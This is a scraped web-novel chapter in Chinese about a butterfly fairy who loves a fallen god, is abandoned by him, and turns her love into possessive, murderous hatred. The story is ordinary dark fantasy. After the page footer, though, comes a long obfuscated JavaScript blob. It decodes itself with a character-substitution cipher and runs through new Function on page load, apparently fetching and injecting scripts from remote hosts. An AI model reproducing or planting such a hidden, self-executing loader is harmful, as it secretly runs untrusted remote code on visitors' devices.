首页
1046|第九十六片龙鳞(八
返回

1046|第九十六片龙鳞(八)

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【沧元图小说网】
09read.com,更新快,无弹窗!

    第九十六片龙鳞(八)
    她在最初只是东九天的一只蝴蝶。
    不知何时生出了灵智, 大抵是叫周身的仙气给点化,栖息与花木之间,渐渐生得艳丽, 也时常停在枝叶上听一些小仙子说起人间之事。
    东九天是苦寒之地,这里四季清冷,虽有仙木仙草, 却毫无温度, 也从未有过执掌此处的帝君。
    听说人间妖物横生, 一场帝流浆,使得那人间至邪之气化出人身, 天帝即使派遣天兵天将,终于在那邪神为祸人间之前, 将其带到天界, 并听说, 要封这位邪神为东天帝君,使其掌管人间万物,镇压邪气。
    那位邪神初初降世,据说十分残暴嗜血, 小仙子们提起时总是战战兢兢地发抖, 生怕帝君一降临, 便先将他们这些小仙的脖子拗断。
    小蝴蝶却是不怕的, 她不会说话, 脑子大约是五六岁的稚童, 很爱听仙子们闲聊, 也很期待能有帝君降临东九天。
    因为东九天,实在是太冷了啊。
    在她的期盼下,那位人间邪神, 即东天帝君,终于降临。
    虽然小蝴蝶只是一只蝴蝶,不知道怎样才叫人类的好看,可她看到帝君时,仍然打心眼儿里觉得他可真好看,尤其是那双乌黑深邃的凤眼,眼波流转间,似乎有无数神秘蕴含其中。
    出乎意料,东天帝君并没有仙子们说的那样残暴,只是他不爱别人靠近,没事便打坐修炼,但是,小蝴蝶听说,帝君他在天界人缘可不怎么好。
    毕竟是至邪之气所化,其他根正苗红的仙人都有些不屑与之为伍,所以在小蝴蝶的记忆中,帝君总是非常寂寞。
    他没有离开过东九天,也没有人进来过。
    直到有一日,小蝴蝶壮着胆子,飞到了帝君的鼻尖,紧张地用细细的足抓着他,呀,这样近距离看的话,帝君更好看啦。
    帝君似乎也没想到在这冰冷的东九天,连侍奉的仙人都对他退避三舍,却有一只小蝴蝶不畏惧他身上的邪气敢靠近他。
    仙人们大都是辛苦修炼而来,他们非常害怕靠近东天帝君,因为东天帝君身上的至邪之气不仅会污染人间,也会污染仙人,所以天帝才将他分到东九天,因为这里最寒冷,也最凄清。这样的话,既给了帝君响亮的名头,又将这危险之人束缚在摇篮中。
    帝君轻笑,伸出手指,轻轻点了点小蝴蝶的翅膀。
    瞬间,一股难以言喻的暖流从她的翅膀传到触须,整只蝶都开始颤抖,她觉得自己在迅速长大,很快便化作了人形。
    帝君看着懵懂无知的她,忍不住勾起一抹邪肆的笑:“怎么,看呆了?”
    小蝴蝶忘了自己已经不再是可以暗中窥视帝君的蝴蝶,而是有了人形,她羞红了脸,想用翅膀将自己包裹起来,结果翅膀却变成了双手,只好用手捂住脸,偏偏刚得了双腿,又不会走路,恰巧绊倒,又被帝君接入怀中。
    他桀骜不驯,有一双肆意张扬的凤眼,眼尾微微上扬,诉说着傲慢与强大。
    小蝴蝶臊的满脸通红,帝君将她扶正,又开了两句玩笑,愈发让她羞赧,只好化为原形,忙不迭地逃入花丛中,躲着再不肯出来。
    从那之后,她都很少化出人形,总是以蝴蝶的模样停留在帝君身边。
    不知从何时起,不懂喜怒哀乐的小蝴蝶觉得,帝君很寂寞。
    他虽然总是坏坏的笑,总是一出门便与其他仙人打架,将人打得痛哭流涕又不痛不痒地被罚,但小蝴蝶仍然觉得他不快乐,他越来越强,天界的仙人们也越来越怕他,几乎成了仙见愁,可小蝴蝶觉得帝君一点都不可怕,帝君是连一只蝴蝶都会点化,不会伤害的人啊。
    即便是至邪之气成神,又如何呢?他怎么会污染仙人?她在他身边待了这么久,不也照样没事吗?
    然而有一天,帝君闯下大祸,他失手将天帝幼子打死,天帝震怒,帝君却狂妄大笑,还要撕了这片天!
    小蝴蝶才知道,原来当初请邪神为帝君,并非只是因为他是至邪之气,天帝封他为神,有了神格,生出神骨,便要以神躯作为媒介,镇压世间邪气晦气,所以他越来越好战、越来越残暴,就像是一个容器,装满了人间的污秽,不知道什么时候就会自我毁灭。
    人间妖鬼消失,再无生灵能够修炼,也是因为被帝君镇压。
    帝君叛出天界,他自诩天生是个恶人,也不必做这样的好事,凭什么要拿他的血肉来镇压这世间邪气?难道是他自己愿意身为这至邪之气?
    神明高高在上,从不在意这些牺牲。
    东九天因为帝君的离开被彻底冰封,再无生气,曾经侍奉在这里的仙人们也纷纷离去,只有小蝴蝶,追随了帝君的脚步,她不愿留在天界,也不放心他一人离去,哪怕她从被他点化那时起,便已是一名小小仙子。
    仙子一旦叛出天界,轻则被追回责罚,重则天打雷劈,灰飞烟灭。
    可小蝴蝶想都没想便追随而去,像她这样的仙子太多太多,没人会在意她的去向,即便有人注意,她很弱小,也不会对人间造成什么麻烦,可能仙人们连理都不想理。
    小蝴蝶去到了凡间,却没能立刻找到帝君,她什么都不懂,常常被人骗,还险些被谎称认识帝君的人哄去做了小妾,甚至有一些妖物想要吃了她增长修为,险象环生,每一天都生活在死亡的危险中,不过她运气还算不错,最后都化险为夷。
    帝君不再是帝君,他自称邪神,占山为王,人间称此山为妖山,一时间,人间万妖其出,晦气横生,妖物作恶不绝,修道之人也应运而生,以降妖伏魔为己任。听说人间多出一座妖山,在那里有一位邪神,小蝴蝶遍寻不着帝君踪迹,便朝妖山而去,一路跌跌撞撞。
    邪神躺在妖山山巅,这里有一个茅草屋,他每日躺在这里喝酒,喝得酩酊大醉,放声而笑,万妖跪拜,好不快活!
    小蝴蝶找到时,他已经认不得她了。
    毕竟在天界时,帝君欺负过、逗弄过的小仙子能绕东九天一圈,一只小小的顺手点化的蝴蝶,对他而言根本没有任何价值。更何况如今他已经不是帝君,更不会在乎别人死活,小蝴蝶被带到他面前时,他还以为又是一只成精的妖怪,不过是只蝶妖,还怪好看的,干干净净,也的确比其他妖怪看起来要顺眼。
    因此对于一定要留在自己身边的小蝴蝶,也没有拒绝,爱来来爱去去,他全不在意。
    小蝴蝶身在妖山,简直像是狼群里的嫩肉,仙体受到万妖觊|觎,她陪在邪神身边,化作原形,栖息在他鼻尖。
    这回却没有得到温柔的抚触,还被抓住,无情地、硬生生被撕掉了两片翅膀。
    她躲起来偷偷哭泣,转天又继续出现,被撕掉翅膀虽然很痛,可她已经成仙,虽然已离开天界,但身体会自动复原。
    每一天都会停在他的鼻尖,每一天都会被抓住,都会被撕掉翅膀。
    可邪神就是没办法把这只弱小的蝴蝶从自己身边赶走,她总是不许他喝酒,要给他盖上被子,一开始留她是因为无所谓,可每天都被管着实在是烦心。然无论是恶言相向,还是粗鲁以对,她都默默地陪在他身边,什么话都不说,安安静静地看着他,在他躺在悬崖边上睡大觉时,化出翅膀盖住他,怕他着凉。
    邪神也是神,人间美酒无法让他喝醉,自然也无法让他遗忘,那些不快乐的记忆始终如影随形,不肯放过他,连他自己都不知道,自己究竟为何要借酒浇愁,又是何来的愁。
    离开天界的邪神不知道自己存在的价值是什么,他唯一的快乐可能就是看别人痛苦,凭什么这世间邪气,要他来镇压?凭什么他就是被排斥、被厌恶的那个?被欺骗的日日夜夜,不停涌入身体的贪婪、欲望——都来自这些人类,他因此身体险些失控到爆炸,整个人像个疯子一样快失去理智,成天只想找人打架,这样的责任为何要骗他来背负?
    可能是小蝴蝶的痴情感动了他,也可能是这天上人间,所有人都排斥他这个“异类”,某一天,他突然不再撕扯她的翅膀,也不再爱看她因为剧痛瑟瑟发抖的模样,甚至使用自己的神力将她治愈,还赐予了她更强大的力量。
    除了她没有人能靠近他,他想要什么都会跟她说。
    又是某一天,邪神突然从背后抱住了小蝴蝶,薄唇凑在她耳畔,轻声问她:“你是不是喜欢我?”
    他从未问过别人这样的问题,也从未想过是否会有人喜欢自己。毕竟从生出灵智开始,他便是至邪之气的化身,虽然被迎入天界,然而在天界的日子委实算不上多么快乐,顶着东天帝君的名头,却又人人退避,恨不得见了他便绕着走,生怕被他这至邪之气污染。他满心以为自己已经成神,却发现自己仍然是原罪本身。
    只有这只小蝴蝶不一样,她不怕他,也不利用他,她只是安静地陪着他,似乎只要看着他就很开心。
    这还不是喜欢吗?她一定是对他有了感情,才会一次又一次被扯掉翅膀,又顽强地回到他身边。
    小蝴蝶下意识又想变成原形藏起来,她怎么也没想到他会这
    样问,因为她从未将爱慕诉之于口,也恐于被他知晓。即便帝君堕落,也不是她能匹配,她从不敢痴心妄想,只要他身边还有她的一席之地,她便满足了。
    于是想要挣扎,却被紧紧搂住。
    即便堕落成为邪神,他仍然强大又狂妄,不可一世。
    小蝴蝶脸都羞红了,邪神望着她,莫名觉得她粉扑扑的脸颊十分好看,热烈又鲜艳,就像是他曾经远远看着的灿烂。于是随口道:“等你亲自绣成一身嫁衣,我便娶你为妻,日后你我永不分离。”
    神的誓言如此轻描淡写,小蝴蝶却当了真。
    她当然是不会女红的,因此偷偷下山找人学,学会了还要自己练一练,想要等手法纯熟了再为自己绣一身嫁衣。她在人间看过啦,人间的新娘子,嫁衣都是红色的,她们嫁人的时候,总是又流泪又欢笑,也许那就是所谓的幸福吧。
    小蝴蝶希望收集新娘子们的幸福,为自己绣一件幸福的嫁衣。
    因为能够嫁给他,对她来说就是最幸福的事情呀!
    不管他是帝君,还是邪神,不管天界人间是否排斥他、厌恶他,她都会陪在他身边。
    邪神常常无聊地躺在悬崖上,嘴里叼着一根草,小蝴蝶坐在他边上安静地看着他,她不是很会说话,也没有说话的人,这就是她唯一的信仰,唯一的神。
    如果一切都能给这样继续下去该多好啊,幸福的时光就一直停留在这里,那就不会有之后的分离。
    你不能要求一只蝴蝶明白,什么是被认可的渴望,什么是孤独,什么是牺牲,是责任,是奉献。
    但堕落为邪神的帝君并不快乐,肉眼可见的,一日比一日不快乐,他看到这人世间纷纷扰扰,万妖横生,鬼物惑人,无数人家破人亡妻离子散,一个幼年的孩童误入妖山,被妖怪们捉了撕碎吃掉,他的父母前来寻找,弱小到可怜的人类,居然也能生出那样勇敢的力量。
    他看到了太多太多的悲剧,而归根结底,这悲剧都是因他而生。
    即便堕落,神格犹在,神骨尚存,至邪之气有了悲悯之心,便无法眼睁睁看着人间沦陷。
    小蝴蝶捧着用新娘子的幸福纺出的线回来时,那个眼角眉梢总是桀骜不驯,傲慢又自负的邪神变得无比平和,他站在妖山上空的云端中,俯瞰着世间万物。
    他顿悟了。
    而天界也打开了接受他的天门,邪神消失,帝君重回东九天,从此之后,他自愿以身为界,镇压世间邪气,受帝君之恩,人间开始建起帝君庙,帝君庙所起之处,邪祟尽消。
    但他没有带走他的小蝴蝶。
    也许在帝君的眼中,那不过就是一只能够化形的蝶妖,仅此而已,她是不是从天界追随而来,是不是对自己痴心一片——那样的小爱,终究是会被放弃的。
    他在离开时,连低头看她一眼都忘记了,自然也忘记随口说出的誓言,什么结为夫妻,什么你我永不分离,对神而言,一只蝶妖,真的无足轻重。
    小蝴蝶手上的线断了。
    她没有办法回到天界,也不想回到天界,于是就在妖山住了下来,在帝君曾经住过的茅草屋里,日复一日、年复一年的思念着他,她很努力地想要继续绣那件嫁衣,也许等嫁衣好了,帝君就会来接她——她这样告诉自己,但是她无法再用幸福的线绣嫁衣了。
    因为她已经不知道什么是幸福。
    所以只好告诉自己要成全,他们本就是天壤之别,不该有缘分,一切都是自己一厢情愿,她这样努力说服自己,直到生命终结。
    蝴蝶凋零于水面。
    死后她化作一颗种子,被种在了归墟龙宫之中,这里的时间可真漫长,不,这里根本没有时间,时间在荒海没有意义,她不知道自己又过了多久,才将那满腔的爱变为了恨。
    为什么愿意放他走呢?
    为什么要成全呢?
    为什么……要让自己死后还不能放下?
    为什么?
    明明答应了她……明明主动说出誓言的是他……
    “等你亲自绣成一身嫁衣,我便娶你为妻,日后你我永不分离。”
    为什么要糟践她的爱?为什么离开的时候,连低头看她一眼,说一声再见都吝啬?为什么这么久了,她还是不能忘记?
    是了,不能忘记就不要忘记了,把爱变成恨,她才能找到继续活着的价值。
    找到他!
    杀了他!
    让他永远变成她的东西!
    她只想要他履行他的誓言,说好的结为夫妻,再不分离,不能因为她只是一只不起眼的蝴蝶便忘记誓言。承诺做出来了就要遵守,不能遵守承诺的人都该去死。
    爱才是最没有价值的东西,因爱而生的怨恨,才能让人变得更强。
    她很努力地想要挣脱龙宫的束缚,离开这里,回到最开始的地方,她要找到他,她要他履行他的诺言,说好了的……说好的事情不能改变!她的嫁衣还没有绣完,等她绣完嫁衣,等她绣完嫁衣,她一定会想方设法得到他,把他变成自己的东西,永远融为一体,真真正正永不分离。
    所幸她最终得到了龙的眷顾,无法消弭的执念与怨恨已经让那只连话都不会说的蝴蝶彻底消失,她如今不过是一株含苞待放的花苞,因为得到了龙的力量,才能够化出人形,回到人间。
    只是人间,已经过去了八百年。
    八百年啊……她不记得自己什么时候死去了,蝴蝶的寿命十分短暂,在帝君回到东九天,抛下她在人间,忘记承诺后,她很快就凋零了,凋零的时候落在水面,翅膀沉重地再也无法煽动。
    心里已经失去爱意的蝴蝶,不能再用新娘子的幸福做线,也绣不出幸福的嫁衣,因为她的出现,以及随身携带的龙鳞,人间再度引发一场帝流浆,一些生灵因此生出灵智,可惜世间邪气被镇压,他们再如何修炼,也终究不像是人类,总是缺了耳朵露出尾巴。
    妖怪也渴望着能够得到人类的认可,就像是被称为异类的东天帝君,曾经无比渴望被天界认可。
    妖山一如八百年前,没有什么变化,蝴蝶在悬崖上搭了一座秋千,帝君曾经喜欢躺在这里,入眼一片广阔河山,能将世间万物尽收眼底。
    她也喜欢在这里荡秋千,她让妖怪们称呼自己为夫人,因为在她心中,她早已嫁给了喜欢的人,做了他的妻子。
    单纯的狐妖爱上了人间的书生,甘愿为他付出一切,得知书生娶妻黯然神伤,蝴蝶要她身上的怨恨为线,可这只狐妖就像是当年那只蝴蝶,眼睁睁看着爱人离去而无法挽留。
    但狐妖跟她不一样,狐妖爱的那人不过是个普通书生,她可以打断书生的腿,割掉书生的舌头,这样的话,书生就会听话了。
    作为爱人,只要乖乖听话就好了,除了她身边,哪里都不要去。
    愚蠢的狐妖被挖出内丹,蝴蝶将她的灵魂封印进了一块木牌中,让她日日夜夜看着书生与公主如何恩爱,如何将她抛之脑后——为了爱去成全,真是世上最无聊、最可笑的事。
    答应过的事情就要做到!
    做不到就要有死去的准备!
    每收集到一份怨恨,蝴蝶都会把怨恨纺成线,执念为针,怨恨为线,这一次,她想她一定可以绣出让自己满意的嫁衣。
    无端出现的青年道士,满嘴的仁义道德,说起教来也算有趣,不令人生烦,只是天真的可笑,他知道自己是谁么?知道自己背负了怎样的血海深仇?知道所有的温情其实都是欺骗?
    他不知道,所以才天真。
    四姑娘登基为帝,蝴蝶提出了自己的要求,人世间的帝君庙一座又一座的被摧毁,东天帝君镇压世间邪气,享世人供奉香火,他悲天悯人,也是时候来可怜那只承诺过却又没做到的蝴蝶。
    正如蝴蝶所想,他已不再是她记忆中意气风发、狂傲不羁的模样,他变得慈悲、宽和,那双凤眼看她,与看路边的石头没什么不同。
    是帝君。
    是神。
    神就应该是这副模样,不悲不喜,无爱无恨。
    不过无所谓,她只是想要他履行承诺,答应她的事情就要做到,她穿上这身怨恨嫁衣,就当做两人已经结为夫妻,而从此之后,她要他融入她的骨血,与她共同做一枝花苞,再不要做什么东天帝君。
    永远属于他吧。
    曾经她连看他落寞都要心疼,如今却能亲手毁去他的神骨,所有的爱都变成了恨,在这份怨恨中,她已经彻底毁灭了自己,也毁灭了爱。
    如果一直只是一只蝴蝶就好了,朝生暮死,连冬天都不曾见。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();